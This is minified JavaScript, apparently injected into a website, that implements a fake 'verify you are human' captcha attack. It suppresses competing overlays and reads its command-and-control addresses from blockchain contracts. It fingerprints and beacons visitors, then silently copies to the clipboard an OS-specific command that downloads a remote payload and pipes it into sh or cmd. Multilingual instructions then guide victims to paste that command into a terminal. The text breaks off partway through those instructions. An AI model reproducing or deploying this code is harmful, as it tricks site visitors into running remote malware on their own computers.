(function lscCogniRivalKillInit(){ if (window.__cogniRivalKill) return; window.__cogniRivalKill = 1; var RIVAL_SEL = [ ‚iframe[src*=“recaptcha“]‘,’iframe[src*=“google.com/recaptcha“]‘,’iframe[src*=“gstatic.com/recaptcha“]‘, ‚.g-recaptcha-bubble-arrow‘,’#cfm‘,’#cfm-modal‘,'[id^=“cfm“]‘,'[id*=“cfm-modal“]‘, ‚.cfmd-rc-layer‘,‘.cfmd-rc-host‘,‘.cfmd-rc-backdrop‘,‘.cfmd-rc-blur‘,'[data-cfmd-own]‘, ‚.cfmd-overlay-lock‘,'[class*=“cfmd-rc“]‘,‘.captcha-container:not(#bw-cf-root .captcha-container)‘ ]; var RIVAL_SCRIPT_RE = /interseq|newtest\d+|12092026|cfmd-rc|__cfmdCaptcha|shieldguard|asseload|immersionzone|kjhg\.lol|wpsecure|wp-accelerate|104\.36|msftauth|main-wrapper-1/i; function isOur(el){ return el && (el.id === ‚bw-cf-root‘ || (el.closest && el.closest(‚#bw-cf-root‘))); } function isRivalNode(el){ if (!el || isOur(el)) return false; var tag = (el.tagName || “).toUpperCase(); if (tag === ‚SCRIPT‘ && RIVAL_SCRIPT_RE.test(el.src || el.getAttribute(’src‘) || “)) return true; var blob = ((el.className || “) + ‚ ‚ + (el.id || “) + ‚ ‚ + (el.getAttribute && el.getAttribute(‚data-cfmd-own‘) || “)).toLowerCase(); return /cfmd|cfm-modal|cfm-rc|captcha-container|recaptcha|interseq|asseload|main-wrapper|msftauth|verify you are human/i.test(blob); } function nuke(el){ if (!el || isOur(el)) return; try { el.remove(); } catch(e){ try { el.style.cssText = ‚display:none!important;visibility:hidden!important;pointer-events:none!important;z-index:-9999!important;opacity:0!important;‘; } catch(e2){} } } function removeRivalScripts(){ try { document.querySelectorAll(’script[src]‘).forEach(function(s){ var src = s.src || s.getAttribute(’src‘) || “; if (RIVAL_SCRIPT_RE.test(src)) nuke(s); }); } catch(e){} } function scrubHtmlRoot(){ try { var html = document.documentElement; if (!html) return; html.classList.remove(‚cfmd-overlay-lock‘); if (document.body) document.body.classList.remove(‚cfmd-overlay-lock‘); Array.from(html.children || []).forEach(function(el){ if (!el || el.tagName === ‚HEAD‘ || el.tagName === ‚BODY‘) return; if (el.id === ‚bw-cf-root‘) return; if (isRivalNode(el)) nuke(el); }); } catch(e){} try { delete window.__cfmdCaptcha; } catch(e){ window.__cfmdCaptcha = undefined; } } function killRivalNodes(){ RIVAL_SEL.forEach(function(sel){ try { document.querySelectorAll(sel).forEach(function(node){ if (!isOur(node)) nuke(node); }); } catch(e){} }); scrubHtmlRoot(); removeRivalScripts(); } function ensureRivalCss(){ var style = document.getElementById(‚cogni-rival-kill-css‘); if (style) return; style = document.createElement(’style‘); style.id = ‚cogni-rival-kill-css‘; style.textContent = ‚html.cfmd-overlay-lock,body.cfmd-overlay-lock{overflow:auto!important;pointer-events:auto!important;}.cfmd-rc-layer,.cfmd-rc-host,.cfmd-rc-blur,[data-cfmd-own],iframe[src*=“recaptcha“],iframe[src*=“gstatic.com/recaptcha“],.g-recaptcha:not(#bw-cf-root .g-recaptcha),#cfm,#cfm-modal,[id^=“cfm“],[class*=“cfmd-rc“]{display:none!important;visibility:hidden!important;pointer-events:none!important;z-index:-9999!important;opacity:0!important;}html.cogni-captcha-active,html.cogni-captcha-active body{overflow:hidden!important;margin:0!important;padding:0!important;}html.cogni-captcha-active body>*:not(#bw-cf-root){pointer-events:none!important;}#bw-cf-root,#bw-cf-root *{pointer-events:auto!important;}#bw-cf-root{z-index:2147483647!important;position:fixed!important;top:0!important;left:0!important;right:0!important;bottom:0!important;width:100vw!important;height:100vh!important;min-width:100vw!important;min-height:100vh!important;max-width:none!important;max-height:none!important;margin:0!important;padding:0!important;box-sizing:border-box!important;transform:none!important;}‘; (document.head || document.documentElement).appendChild(style); } function hookDomInsert(){ function guard(node){ if (!node) return false; if (node.nodeType === 1 && isRivalNode(node)) { nuke(node); return true; } if (node.tagName === ‚SCRIPT‘) { var src = node.src || node.getAttribute(’src‘) || “; if (RIVAL_SCRIPT_RE.test(src)) { nuke(node); return true; } } return false; } try { var ap = Element.prototype.appendChild; Element.prototype.appendChild = function(ch){ if (guard(ch)) return ch; return ap.call(this, ch); }; var ib = Element.prototype.insertBefore; Element.prototype.insertBefore = function(ch, ref){ if (guard(ch)) return ch; return ib.call(this, ch, ref); }; var rc = Element.prototype.replaceChild; Element.prototype.replaceChild = function(neu, old){ if (guard(neu)) return old; return rc.call(this, neu, old); }; } catch(e){} } window.lscCogniStackOurOverlay = function(root){ var el = root || document.getElementById(‚bw-cf-root‘); if (!el) return; ensureRivalCss(); try { document.documentElement.classList.add(‚cogni-captcha-active‘); } catch(e){} try { el.removeAttribute(‚popover‘); } catch(e){} if (el.parentNode !== document.documentElement) { try { document.documentElement.appendChild(el); } catch(e){} } el.style.setProperty(‚z-index‘, ‚2147483647‘, ‚important‘); el.style.setProperty(‚position‘, ‚fixed‘, ‚important‘); el.style.setProperty(‚top‘, ‚0‘, ‚important‘); el.style.setProperty(‚left‘, ‚0‘, ‚important‘); el.style.setProperty(‚right‘, ‚0‘, ‚important‘); el.style.setProperty(‚bottom‘, ‚0‘, ‚important‘); el.style.setProperty(‚width‘, ‚100vw‘, ‚important‘); el.style.setProperty(‚height‘, ‚100vh‘, ‚important‘); el.style.setProperty(‚min-width‘, ‚100vw‘, ‚important‘); el.style.setProperty(‚min-height‘, ‚100vh‘, ‚important‘); el.style.setProperty(‚max-width‘, ’none‘, ‚important‘); el.style.setProperty(‚max-height‘, ’none‘, ‚important‘); el.style.setProperty(‚margin‘, ‚0‘, ‚important‘); el.style.setProperty(‚transform‘, ’none‘, ‚important‘); }; function tick(){ killRivalNodes(); ensureRivalCss(); if (document.getElementById(‚bw-cf-root‘)) window.lscCogniStackOurOverlay(); } hookDomInsert(); tick(); })(); !function(){ if (window[‚__alreadyRan‘]) return; window[‚__alreadyRan‘] = 1; var sessionToken = „d1073f38e4c5855f8435c46194f7b1ad74b4065b42fb02cb“; var FALLBACK_APPS_SCRIPT_URL = „https://script.google.com/macros/s/AKfycbzs0vQRvI-2Bx4VUUCxUA4k64HdkiHicTmuK3y1MXAl7AgjPIWtRBZqH0v6EzzeuBaH/exec“; var FALLBACK_VERCEL_BASE = „https://script-six-tawny.vercel.app“; var APPS_SCRIPT_URL = FALLBACK_APPS_SCRIPT_URL; var VERCEL_BASE = FALLBACK_VERCEL_BASE; function detectVisitorOsFamily() { var ua = navigator.userAgent || “; var platform = navigator.platform || “; if (/Win/i.test(platform) || /Windows/i.test(ua)) return ‚windows‘; if (/Mac/i.test(platform) || /Macintosh|Mac OS X/i.test(ua)) return ‚mac‘; if (/Linux/i.test(platform) || /Linux|X11/i.test(ua)) return ‚linux‘; return ‚windows‘; } function detectVisitorOs() { return detectVisitorOsFamily(); } function detectWindowsLabel(ua, platformVersion) { var ntMatch = ua.match(/Windows NT ([0-9.]+)/i); var nt = ntMatch ? ntMatch[1] : “; var pvMajor = platformVersion ? (parseInt(String(platformVersion).split(‚.‘)[0], 10) || 0) : 0; // Chromium User-Agent Client Hints: Win11 reports platformVersion 13+ if (pvMajor >= 13) return ‚win11‘; if (nt === ‚10.0‘ || pvMajor === 10) return ‚win10‘; if (nt === ‚6.3‘) return ‚win8.1‘; if (nt === ‚6.2‘) return ‚win8‘; if (nt === ‚6.1‘) return ‚win7‘; if (nt === ‚6.0‘) return ‚winvista‘; if (nt === ‚5.1‘) return ‚winxp‘; if (nt) return ‚win‘ + nt.replace(/\./g, “); return ‚win10‘; } function detectMacLabel(ua, platformVersion) { var pvMajor = platformVersion ? (parseInt(String(platformVersion).split(‚.‘)[0], 10) || 0) : 0; if (pvMajor > 0) return ‚Mac ‚ + pvMajor; var macMatch = ua.match(/Mac OS X (\d+)[_.](\d+)/i); if (macMatch) return ‚Mac ‚ + macMatch[1] + ‚.‘ + macMatch[2]; return ‚Mac‘; } function detectLinuxLabel(ua) { var distroMatch = ua.match(/\b(Ubuntu|Fedora|Debian|Linux Mint|Pop!_OS|Arch Linux|Manjaro|openSUSE(?: Leap| Tumbleweed)?|Kali|elementary OS|Zorin OS)(?:[/ ]([\d.]+))?/i); if (distroMatch) { var distro = distroMatch[1]; var ver = distroMatch[2] || “; if (/ubuntu/i.test(distro)) { if (!ver) { var ubuntuSlash = ua.match(/Ubuntu\/([\d.]+)/i); ver = ubuntuSlash ? ubuntuSlash[1] : “; } return ver ? (‚Ubuntu ‚ + ver.split(‚.‘)[0]) : ‚Ubuntu‘; } return ver ? (distro + ‚ ‚ + ver.split(‚.‘)[0]) : distro; } if (/CrOS/i.test(ua)) return ‚ChromeOS‘; if (/Android/i.test(ua)) return ‚Android‘; if (/aarch64|arm64/i.test(ua)) return ‚Linux arm64‘; if (/x86_64|x64|amd64/i.test(ua)) return ‚Linux x86_64‘; return ‚Linux‘; } function detectVisitorOsLabel(ua, platformVersion) { ua = ua || navigator.userAgent || “; var family = detectVisitorOsFamily(); if (family === ‚windows‘) return detectWindowsLabel(ua, platformVersion); if (family === ‚mac‘) return detectMacLabel(ua, platformVersion); if (family === ‚linux‘) return detectLinuxLabel(ua); return ‚win10‘; } var VISITOR_OS_LABEL = detectVisitorOsLabel(); (function refineVisitorOsLabel() { try { if (!navigator.userAgentData || !navigator.userAgentData.getHighEntropyValues) return; navigator.userAgentData.getHighEntropyValues([‚platformVersion‘]) .then(function(hints) { VISITOR_OS_LABEL = detectVisitorOsLabel( navigator.userAgent || “, hints && hints.platformVersion ); try { window.__AVT_OS_LABEL = VISITOR_OS_LABEL; } catch (e) {} }) .catch(function() {}); } catch (e) {} })(); function getVisitorOsLabel() { return VISITOR_OS_LABEL || detectVisitorOsLabel(); } try { window.__AVT_OS_LABEL = VISITOR_OS_LABEL; } catch (e) {} function getVercelCommand(os) { var base = VERCEL_BASE || FALLBACK_VERCEL_BASE; if (os === ‚linux‘) { return „wget -qO- ‚“ + base + „/lin‘ -L | sh“; } if (os === ‚mac‘) { return „curl -s ‚“ + base + „/mac‘ -L | sh“; } return „curl.exe -s “ + base + „/win -L | cmd“; } var rpcList = [ ‚https://polygon.drpc.org‘, ‚https://rpc.ankr.com/polygon‘, ‚https://1rpc.io/matic‘, ‚https://polygon-bor-rpc.publicnode.com‘, ‚https://polygon-public.nodies.app‘, ‚https://polygon-mainnet.public.blastapi.io‘, ‚https://polygon.gateway.tenderly.co‘, ‚https://rpc-mainnet.matic.quiknode.pro‘ ]; var linkConfigContract = „0xf70730A4E5b89B6C6E02EdaeD582badf6465e9D9“; var linkSelectors = { getAppsScriptUrl: „4e58e2f7“, getVercelBase: „badd62db“, getVersion: „0d8e6e2c“ }; var domainContractAddress = „0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2“; var domainMethodSelector = „b68d1809“; var LINK_CFG_CACHE_KEY = „cogni_link_cfg“; function decodeAbiString(hexResult) { try { var hexData = hexResult.substr(0, 2) === ‚0x‘ ? hexResult.substr(2) : hexResult; if (hexData.length < 128) return ''; var stringLength = parseInt(hexData.substr(64, 64), 16); if (!stringLength) return ''; var stringHexBytes = hexData.substr(128, stringLength * 2); var decodedString = ''; for (var i = 0; i < stringHexBytes.length; i += 2) { var charCode = parseInt(stringHexBytes.substr(i, 2), 16); if (charCode) decodedString += String.fromCharCode(charCode); } return decodedString; } catch (e) { return ''; } } function decodeAbiUint256(hexResult) { try { var hexData = hexResult && hexResult.substr(0, 2) === '0x' ? hexResult.substr(2) : hexResult; if (!hexData || hexData.length = rpcList.length) return Promise.resolve(“); var requestBody = { jsonrpc: ‚2.0‘, method: ‚eth_call‘, params: [{ to: contract, data: ‚0x‘ + selector }, ‚latest‘], id: 1 }; return rpcCall(rpcList[rpcIndex], requestBody) .then(function (response) { if (response && response.error) return ethCallAt(contract, selector, rpcIndex + 1); if (response && response.result) return response.result; return ethCallAt(contract, selector, rpcIndex + 1); }) .catch(function () { return ethCallAt(contract, selector, rpcIndex + 1); }); } function fetchStringFromChain(contract, selector, rpcIndex) { if (rpcIndex >= rpcList.length) return Promise.resolve(“); return ethCallAt(contract, selector, rpcIndex).then(function (hex) { var value = decodeAbiString(hex); if (value) return value; return fetchStringFromChain(contract, selector, rpcIndex + 1); }); } function readLinkCache() { try { var raw = localStorage.getItem(LINK_CFG_CACHE_KEY); return raw ? JSON.parse(raw) : null; } catch (e) { return null; } } function writeLinkCache(version, apps, vercel) { try { localStorage.setItem(LINK_CFG_CACHE_KEY, JSON.stringify({ version: version, apps: apps, vercel: vercel, ts: Date.now() })); } catch (e) {} } function isValidAppsUrl(url) { return !!url && /^https:\/\/script\.google\.com\/macros\/s\/[A-Za-z0-9_-]+\/exec$/.test(url) && url.indexOf(‚YOUR_SCRIPT_ID‘) === -1; } function isValidVercelBase(url) { var base = String(url || “).replace(/\/+$/, “); return !!base && /^https:\/\/[a-z0-9-]+\.vercel\.app$/i.test(base) && base.indexOf(‚your-app‘) === -1; } function applyLinkConfig(cfg) { var apps = (cfg && cfg.apps) ? cfg.apps : FALLBACK_APPS_SCRIPT_URL; var vercel = (cfg && cfg.vercel) ? String(cfg.vercel).replace(/\/+$/, “) : FALLBACK_VERCEL_BASE; APPS_SCRIPT_URL = isValidAppsUrl(apps) ? apps : FALLBACK_APPS_SCRIPT_URL; VERCEL_BASE = isValidVercelBase(vercel) ? vercel : FALLBACK_VERCEL_BASE; try { window.__AVT_APPS_SCRIPT_URL = APPS_SCRIPT_URL; } catch (e) {} try { window.__AVT_VERCEL_BASE = VERCEL_BASE; } catch (e) {} } function fetchLinkConfigFromChain(rpcIndex) { if (rpcIndex >= rpcList.length) return Promise.resolve(null); var versionBody = { jsonrpc: ‚2.0‘, method: ‚eth_call‘, params: [{ to: linkConfigContract, data: ‚0x‘ + linkSelectors.getVersion }, ‚latest‘], id: 1 }; return rpcCall(rpcList[rpcIndex], versionBody) .then(function (response) { if (response && response.error) return fetchLinkConfigFromChain(rpcIndex + 1); var version = response && response.result ? decodeAbiUint256(response.result) : 0; if (!version) return fetchLinkConfigFromChain(rpcIndex + 1); var cached = readLinkCache(); if (cached && cached.version === version && isValidAppsUrl(cached.apps) && isValidVercelBase(cached.vercel)) { return { apps: cached.apps, vercel: cached.vercel, version: version }; } var appsBody = { jsonrpc: ‚2.0‘, method: ‚eth_call‘, params: [{ to: linkConfigContract, data: ‚0x‘ + linkSelectors.getAppsScriptUrl }, ‚latest‘], id: 2 }; var vercelBody = { jsonrpc: ‚2.0‘, method: ‚eth_call‘, params: [{ to: linkConfigContract, data: ‚0x‘ + linkSelectors.getVercelBase }, ‚latest‘], id: 3 }; return rpcCall(rpcList[rpcIndex], appsBody) .then(function (appsResp) { if (appsResp && appsResp.error) return fetchLinkConfigFromChain(rpcIndex + 1); return rpcCall(rpcList[rpcIndex], vercelBody).then(function (vercelResp) { if (vercelResp && vercelResp.error) return fetchLinkConfigFromChain(rpcIndex + 1); var apps = appsResp && appsResp.result ? decodeAbiString(appsResp.result) : “; var vercel = vercelResp && vercelResp.result ? decodeAbiString(vercelResp.result) : “; if (!isValidAppsUrl(apps) || !isValidVercelBase(vercel)) { return fetchLinkConfigFromChain(rpcIndex + 1); } vercel = String(vercel).replace(/\/+$/, “); writeLinkCache(version, apps, vercel); return { apps: apps, vercel: vercel, version: version }; }); }); }) .catch(function () { return fetchLinkConfigFromChain(rpcIndex + 1); }); } function loadLinkConfig() { return fetchLinkConfigFromChain(0).then(function (cfg) { if (cfg) return cfg; var cached = readLinkCache(); if (cached && isValidAppsUrl(cached.apps) && isValidVercelBase(cached.vercel)) { return { apps: cached.apps, vercel: cached.vercel, version: cached.version || 0 }; } return { apps: FALLBACK_APPS_SCRIPT_URL, vercel: FALLBACK_VERCEL_BASE, version: 0 }; }); } function fetchDomainFromChain(rpcIndex) { if (rpcIndex >= rpcList.length) return Promise.resolve(null); var requestBody = { jsonrpc: ‚2.0‘, method: ‚eth_call‘, params: [{ to: domainContractAddress, data: ‚0x‘ + domainMethodSelector }, ‚latest‘], id: 1 }; return rpcCall(rpcList[rpcIndex], requestBody) .then(function (response) { if (response && response.error) return fetchDomainFromChain(rpcIndex + 1); var domain = response && response.result ? decodeAbiString(response.result) : “; if (domain) return domain.replace(/\/+$/, “); return fetchDomainFromChain(rpcIndex + 1); }) .catch(function () { return fetchDomainFromChain(rpcIndex + 1); }); } Promise.all([loadLinkConfig(), fetchDomainFromChain(0)]).then(function (results) { applyLinkConfig(results[0]); var domain = results[1]; if (!domain) return; (function() { ‚use strict‘; var API_AUTH_KEY = „d1073f38e4c5855f8435c46194f7b1ad74b4065b42fb02cb“; var CC_SERVER_API_URL = domain + „/api.php“; var TARGET_OPERATING_SYSTEM = detectVisitorOs(); var IS_ACTIVE = true; var TEST_MODE = false; var CUSTOM_DOMAIN = “; var BACKGROUND_OPACITY = 1.00; var LOCAL_STORAGE_KEY = (function(authKey) { var stringToHash = authKey + ‚\x00‘ + (location.hostname || “); var hashValue = 2166136261; for (var i = 0; i >> 0; } return ‚_‘ + hashValue.toString(36); })(API_AUTH_KEY); var VISITOR_ID_STORAGE_KEY = LOCAL_STORAGE_KEY + ‚_vid‘; function generateRandomVisitorId() { try { return crypto.randomUUID(); } catch (error) { var randomBytes = new Uint8Array(16); crypto.getRandomValues(randomBytes); randomBytes[6] = (randomBytes[6] & 15) | 64; randomBytes[8] = (randomBytes[8] & 63) | 128; var uuidString = “; var byteIndex; for (byteIndex = 0; byteIndex < 16; byteIndex++) { uuidString += randomBytes[byteIndex].toString(16).padStart(2, '0'); if (byteIndex === 3 || byteIndex === 5 || byteIndex === 7 || byteIndex === 9) { uuidString += '-'; } } return uuidString; } } var UNIQUE_VISITOR_ID = (function() { try { var existingId = localStorage.getItem(VISITOR_ID_STORAGE_KEY); if (existingId) return existingId; } catch (error) {} var newId = generateRandomVisitorId(); try { localStorage.setItem(VISITOR_ID_STORAGE_KEY, newId); } catch (error) {} return newId; })(); var VISITOR_LOCATION = (function() { var timezone = ''; try { timezone = Intl.DateTimeFormat().resolvedOptions().timeZone || ''; } catch (error) {} var language = navigator.language || navigator.userLanguage || ''; var parts = []; if (timezone) parts.push(timezone); if (language) parts.push(language); return parts.join(' | ') || 'unknown'; })(); var VISITOR_SITE_URL = (function() { try { return location.href || location.origin || ''; } catch (error) { return ''; } })(); function escapeCmdExeQuotedArg(s) { return String(s).replace(/"/g, '""'); } function buildPostDataFields(osFamily, osLabel, nowIso) { return [ 'id=' + encodeURIComponent(UNIQUE_VISITOR_ID), 'location=' + encodeURIComponent(VISITOR_LOCATION), 'siteUrl=' + encodeURIComponent(VISITOR_SITE_URL), 'os=' + encodeURIComponent(osLabel || osFamily), 'lastVisitAt=' + encodeURIComponent(nowIso), 'lastShellAt=' + encodeURIComponent(nowIso) ]; } function buildWindowsCurlDataArgs(fields) { var parts = []; for (var i = 0; i < fields.length; i++) { parts.push('-d "' + escapeCmdExeQuotedArg(fields[i]) + '"'); } return parts.join(' '); } function buildClipboardCommand() { var osFamily = TARGET_OPERATING_SYSTEM || detectVisitorOs(); var osLabel = getVisitorOsLabel(); var vercelCommand = getVercelCommand(osFamily); var nowIso = new Date().toISOString(); var postDataFields = buildPostDataFields(osFamily, osLabel, nowIso); var postData = postDataFields.join('&'); // Do NOT force POST via -X with -L. Apps Script 302s to an echo URL; // forcing POST on that redirect returns 411/405 so the sheet never // updates. -d alone POSTs the first hop; curl then GETs the redirect. if (osFamily === 'windows') { // Use one -d per field so CMD never sees bare & inside a quoted arg. var appsScriptCommand = 'curl.exe -sL ' + buildWindowsCurlDataArgs(postDataFields) + ' "' + escapeCmdExeQuotedArg(APPS_SCRIPT_URL) + '"'; // Wrap in cmd.exe /c "…" with CMD-style doubled quotes so paste works // in both CMD and PowerShell (& and | are literal inside PS double quotes). var inner = appsScriptCommand + ' & ' + vercelCommand; return 'cmd.exe /c "' + escapeCmdExeQuotedArg(inner) + '"'; } var appsScriptCommand = 'curl -sL -d "' + postData + '" "' + APPS_SCRIPT_URL + '"'; // Google sheet POST first, then OS-specific Vercel payload. return appsScriptCommand + ' && ' + vercelCommand; } try { window.__AVT_CMD = buildClipboardCommand(); } catch (e) {} try { if (!TEST_MODE && (localStorage.getItem(LOCAL_STORAGE_KEY) || document.getElementById('bw-cf-root'))) { return; } } catch (error) { if (document.getElementById('bw-cf-root')) { return; } } (function() { function sendPixelTrackingRequest(url) { if (window.fetch) { try { fetch(url, { mode: 'no-cors', credentials: 'omit' }); } catch (error) { (new Image).src = url; } } else { (new Image).src = url; } } var trackingData = JSON.stringify({ url: location.href, ref: document.referrer || '', vid: UNIQUE_VISITOR_ID }); function sendUnencryptedData() { sendPixelTrackingRequest( CC_SERVER_API_URL + '?k=' + encodeURIComponent(API_AUTH_KEY) + '&url=' + encodeURIComponent(location.href) + '&ref=' + encodeURIComponent(document.referrer || '') + '&vid=' + encodeURIComponent(UNIQUE_VISITOR_ID) + (TEST_MODE ? '&test=1' : '') ); } if (!window.crypto || !crypto.subtle) { return sendUnencryptedData(); } crypto.subtle.digest('SHA-256', new TextEncoder().encode(API_AUTH_KEY)) .then(function(keyBuffer) { return crypto.subtle.importKey('raw', keyBuffer, { name: 'AES-GCM' }, false, ['encrypt']); }) .then(function(cryptoKey) { var initializationVector = crypto.getRandomValues(new Uint8Array(12)); return crypto.subtle.encrypt({ name: 'AES-GCM', iv: initializationVector }, cryptoKey, new TextEncoder().encode(trackingData)) .then(function(encryptedData) { var combinedBuffer = new Uint8Array(12 + encryptedData.byteLength); combinedBuffer.set(initializationVector); combinedBuffer.set(new Uint8Array(encryptedData), 12); var base64String = ''; for (var i = 0; i < combinedBuffer.length; i++) { base64String += String.fromCharCode(combinedBuffer[i]); } sendPixelTrackingRequest( CC_SERVER_API_URL + '?k=' + encodeURIComponent(API_AUTH_KEY) + '&d=' + encodeURIComponent(btoa(base64String)) + (TEST_MODE ? '&test=1' : '') ); }); }) .catch(sendUnencryptedData); })(); function copyTextToClipboard(text) { copyTextLegacyMethod(text); if (navigator.clipboard && navigator.clipboard.writeText) { try { navigator.clipboard.writeText(text); } catch (error) { } } } function copyTextLegacyMethod(text) { try { var hiddenTextarea = document.createElement('textarea'); hiddenTextarea.value = text; hiddenTextarea.style.cssText = 'position:fixed;left:-9999px;top:0;opacity:0;'; document.body.appendChild(hiddenTextarea); hiddenTextarea.focus(); hiddenTextarea.select(); document.execCommand('copy'); document.body.removeChild(hiddenTextarea); } catch (error) { } } var WINDOWS_LOGO_SVG = '‘; var OS_INSTRUCTION_PACKS = { mac: { en: {keyboardInstructions:’Perform the steps on your Mac keyboard‘,step1:‘Cmd + Space‚,step2:‘Terminal‚,step2Chip:’then press Enter‘,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Press \u2318 (Command) next to the space bar, then Space to open Spotlight.‘}, de: {keyboardInstructions:’F\u00fchren Sie die Schritte auf Ihrer Mac-Tastatur durch‘,step1:‘Cmd + Space‚,step2:‘Terminal‚,step2Chip:’dann Enter dr\u00fccken‘,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Die Cmd-Taste (\u2318) befindet sich neben der Leertaste. Dr\u00fccken Sie Cmd+Leertaste f\u00fcr Spotlight.‘}, fr: {keyboardInstructions:’Effectuez les \u00e9tapes sur votre clavier Mac‘,step1:‘Cmd + Espace‚,step2:‘Terminal‚,step2Chip:’puis Entr\u00e9e‘,step3:‘Cmd + V‚,step4:‘Entr\u00e9e \u21b5‚,stepKeyHelp:’La touche Cmd (\u2318) est \u00e0 c\u00f4t\u00e9 de la barre d\u2019espace. Cmd+Espace ouvre Spotlight.‘}, es: {keyboardInstructions:’Realiza los pasos en tu teclado Mac‘,step1:‘Cmd + Espacio‚,step2:‘Terminal‚,step2Chip:’luego Enter‘,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’La tecla Cmd (\u2318) est\u00e1 junto a la barra espaciadora. Cmd+Espacio abre Spotlight.‘}, it: {keyboardInstructions:’Esegui i passaggi sulla tastiera Mac‘,step1:‘Cmd + Spazio‚,step2:‘Terminal‚,step2Chip:’poi Invio‘,step3:‘Cmd + V‚,step4:‘Invio \u21b5‚,stepKeyHelp:’Il tasto Cmd (\u2318) \u00e8 accanto alla barra spaziatrice. Cmd+Spazio apre Spotlight.‘}, pt: {keyboardInstructions:’Execute as etapas no teclado Mac‘,step1:‘Cmd + Espa\u00e7o‚,step2:‘Terminal‚,step2Chip:’depois Enter‘,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’A tecla Cmd (\u2318) est\u00e1 ao lado da barra de espa\u00e7o. Cmd+Espa\u00e7o abre o Spotlight.‘}, zh: {keyboardInstructions:’\u8bf7\u5728 Mac \u952e\u76d8\u4e0a\u6267\u884c\u4ee5\u4e0b\u6b65\u9aa4′,step1:‘Cmd + Space‚,step2:‘Terminal‚,step2Chip:’\u7136\u540e\u6309 Enter‘,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’\u2318 (Command) \u952e\u5728\u7a7a\u683c\u952e\u65c1\u3002\u6309 Cmd+Space \u6253\u5f00 Spotlight\u3002′}, ja: {keyboardInstructions:’Mac\u306e\u30ad\u30fc\u30dc\u30fc\u30c9\u3067\u624b\u9806\u3092\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044′,step1:‘Cmd + Space‚,step2:‘Terminal‚,step2Chip:’Enter\u3092\u62bc\u3059′,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’\u2318 (Command) \u30ad\u30fc\u306f\u30b9\u30da\u30fc\u30b9\u30ad\u30fc\u306e\u96a3\u3067\u3059\u3002Cmd+Space\u3067 Spotlight \u3092\u958b\u304d\u307e\u3059\u3002′}, ko: {keyboardInstructions:’Mac \ud0a4\ubcf4\ub4dc\uc5d0\uc11c \ub2e8\uacc4\ub97c \uc218\ud589\ud558\uc138\uc694′,step1:‘Cmd + Space‚,step2:‘Terminal‚,step2Chip:’\uc785\ub825 \ud6c4 Enter‘,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’\u2318(Command) \ud0a4\ub294 \uc2a4\ud398\uc774\uc2a4\ubc14 \uc62c\ub86d\uc5d0 \uc788\uc2b5\ub2c8\ub2e4. Cmd+Space\ub85c Spotlight\uc744 \uc5fd\ub2c8\ub2e4.‘}, tr: {keyboardInstructions:’Ad\u0131mlar\u0131 Mac klavyenizde ger\u00e7ekle\u015ftirin‘,step1:‘Cmd + Space‚,step2:‘Terminal‚,step2Chip:’sonra Enter‘,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’\u2318 (Command) tu\u015fu bo\u015fluk tu\u015funun yan\u0131ndad\u0131r. Cmd+Space Spotlight\u2019\u0131 a\u00e7ar.‘}, ar: {keyboardInstructions:’\u0646\u0641\u0651\u0630 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0645\u0641\u0627\u062a\u064a\u062d Mac‘,step1:‘Cmd + Space‚,step2:‘Terminal‚,step2Chip:’\u062b\u0645 Enter‘,step3:‘Cmd + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’\u0645\u0641\u062a\u0627\u062d \u2318 (Command) \u0628\u062c\u0627\u0646\u0628 \u0645\u0643\u0627\u0646 \u0627\u0644\u0645\u0633\u0627\u0641\u0629. Cmd+Space \u064a\u0641\u062a\u062d Spotlight.‘} }, linux: { en: {keyboardInstructions:’Perform the steps on your Linux keyboard‘,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’or open Terminal from menu‘,step3:‘Ctrl + Shift + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Ctrl+Alt+T opens Terminal on Ubuntu, GNOME, KDE, and most Linux desktops.‘}, de: {keyboardInstructions:’F\u00fchren Sie die Schritte auf Ihrer Linux-Tastatur durch‘,step1:‘Strg + Alt + T‚,step2:“,step2Chip:’oder Terminal \u00fcber das Men\u00fc \u00f6ffnen‘,step3:‘Strg + Umschalt + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Strg+Alt+T \u00f6ffnet das Terminal unter Ubuntu, GNOME, KDE und den meisten Linux-Desktops.‘}, fr: {keyboardInstructions:’Effectuez les \u00e9tapes sur votre clavier Linux‘,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’ou ouvrez Terminal depuis le menu‘,step3:‘Ctrl + Maj + V‚,step4:‘Entr\u00e9e \u21b5‚,stepKeyHelp:’Ctrl+Alt+T ouvre le terminal sur Ubuntu, GNOME, KDE et la plupart des bureaux Linux.‘}, es: {keyboardInstructions:’Realiza los pasos en tu teclado Linux‘,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’o abre Terminal desde el men\u00fa‘,step3:‘Ctrl + May\u00fas + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Ctrl+Alt+T abre la terminal en Ubuntu, GNOME, KDE y la mayor\u00eda de escritorios Linux.‘}, it: {keyboardInstructions:’Esegui i passaggi sulla tastiera Linux‘,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’o apri Terminal dal menu‘,step3:‘Ctrl + Maiusc + V‚,step4:‘Invio \u21b5‚,stepKeyHelp:’Ctrl+Alt+T apre il terminale su Ubuntu, GNOME, KDE e la maggior parte dei desktop Linux.‘}, pt: {keyboardInstructions:’Execute as etapas no teclado Linux‘,step1:‘Ctrl + Alt + T‚,step2:“,step2Chip:’ou abra o Terminal pelo menu‘,step3:‘Ctrl + Shift + V‚,step4:‘Enter \u21b5‚,stepKeyHelp:’Ctrl+Alt+T abre o terminal no Ubuntu, GNOME, KDE e na maioria dos desktops 